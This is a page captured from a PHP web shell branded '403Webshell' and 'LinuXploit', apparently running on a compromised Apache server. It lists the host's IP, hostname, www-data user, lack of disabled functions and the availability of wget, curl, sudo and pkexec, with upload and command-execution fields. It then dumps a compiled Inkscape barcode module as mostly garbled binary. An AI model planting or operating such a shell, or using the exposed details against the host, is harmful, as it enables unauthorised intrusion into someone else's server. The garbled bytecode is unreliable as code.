403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/barcode/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/barcode/__pycache__/Base.cpython-310.pyc
o

5�ac�@s~dZddlZddlZddlmZmZmZed�\ZZ	ed�\Z
ZZdZ
zddlmZWn	ey4YnwGdd	�d	e�ZdS)
z2
Base module for rendering barcodes for Inkscape.
�N)�Group�TextElement�	Rectangle��z4font-size:%dpx;text-align:center;text-anchor:middle;)�Optionalc@s^eZdZdZdZdZdZdd�Zdd�Zd	d
�Z	ddd
�Z
dd�Zdd�Zdd�Z
dd�ZdS)�Barcodez.Provide a base class for all barcode renderers��	NcCstj�d�||j|��dS)zCause an error to be reportedz&Error encoding '{}' as {} barcode: {}
�ERROR)�sys�stderr�write�format�name)�self�text�msg�r�./usr/share/inkscape/extensions/barcode/Base.py�error+s�z
Barcode.errorcCstd��)zn
        Replace this with the encoding function, it should return
        a string of ones and zeros
        z'You need to write an encode() function.)�NotImplementedError)rrrrr�encode1szBarcode.encodecCs�|pi}|�dd�|_g|_g|_t|�dd��|_t|�dd��|_|�dd�|_|�dd�|_|�d|j	�|_
|�d	t�|_|jrLt
|j�d
��|_|jsStd��dS)N�document�xr�yr�scale��height�text_posz//@idz No string specified for barcode.)�getr�	known_ids�_extra�int�pos_x�pos_yrr�default_heightr�TEXT_POS_BOTTOM�pos_text�list�xpath�
ValueError)r�paramrrr�__init__8s�zBarcode.__init__�elementcCs:d}||jvr|d7}d�|�}||jvs|j�|�|S)z%Get the next useful id (and claim it)rrzbarcode{:d})r!r�append)rr�indexrrr�get_idKs


�zBarcode.get_idcKsHddlm}|j|d<|j|d<d|d<|j�||fi|�����dS)z?Add an extra barcode along side this one, used for ean13 extrasr)�get_barcoderrNr)�r2rrr"r/�generate)r�barcode�kwr2rrr�add_extra_barcodeTs


 zBarcode.add_extra_barcodecCs6|�|j�}|dkrdS|�d�}t�}|�d|�|�dd�|j�|j|j�|j	r3|j�
|j	�d}d}t�}|�|�D]r}|�t
|d��}t
|d�t
|d	�}	|d
r�|�|d�t�}
|
�dt|��|
�d
t|d��|jtkr�|
�d
t|d|j��|
�dd�||��|
�d	t|	��|
�dt|d��|�|
�||	7}|d7}q?|jD]}|dur�|�|�q�|}t�}
|
�dtt
|d���|
�d
tt|�|jd��|jtkr�|
�d
t|jt|�|j��|
�dt|j�|
�dd�|
�dd�|��t|j�|
_|�|
�|S)z'Generate the actual svg from the codingrNr5�id�stylezfill: black;rr�widthr�toprrz
{}_bar{:d}rrz	xml:space�preservez{}_text)rrr1r�set�	transform�
add_translater$r%r�	add_scale�graphical_array�	get_styler#�addr�strr(�TEXT_POS_TOP�	font_sizerr/r"r�minr'r�max�
TEXT_TEMPLATE)r�stringrr5�bar_id�
bar_offset�tops�datumr9r:�rect�extra�	bar_widthrrrrr4\sZ





�
 
zBarcode.generatecCsdd�t�|�D�S)z3Converts black and white markets into a space arraycSs g|]\}}|tt|��f�qSr)�lenr))�.0rrrrr�
<listcomp>�s z+Barcode.graphical_array.<locals>.<listcomp>)�	itertools�groupby)r�coderrrrA�szBarcode.graphical_arraycCsZdddd�}|tkrt|j�|d<|tkr#t|j�t|jd�|d<|tkr+d|d<|S)	z5Returns the styles that should be applied to each barrrT)r:r;rrrFr)�	BLACK_BARr#r�TALL_BARrF�	WHITE_BAR)rr0�resultrrrrB�szBarcode.get_style)r.)�__name__�
__module__�__qualname__�__doc__r&rFrrrr-r1r7r4rArBrrrrr%s
	=r)r_rUr�inkexrrr�ranger'rErZrXrYrI�typingr�ImportError�objectrrrrr�<module>s�

Youez - 2016 - github.com/yon3zu
LinuXploit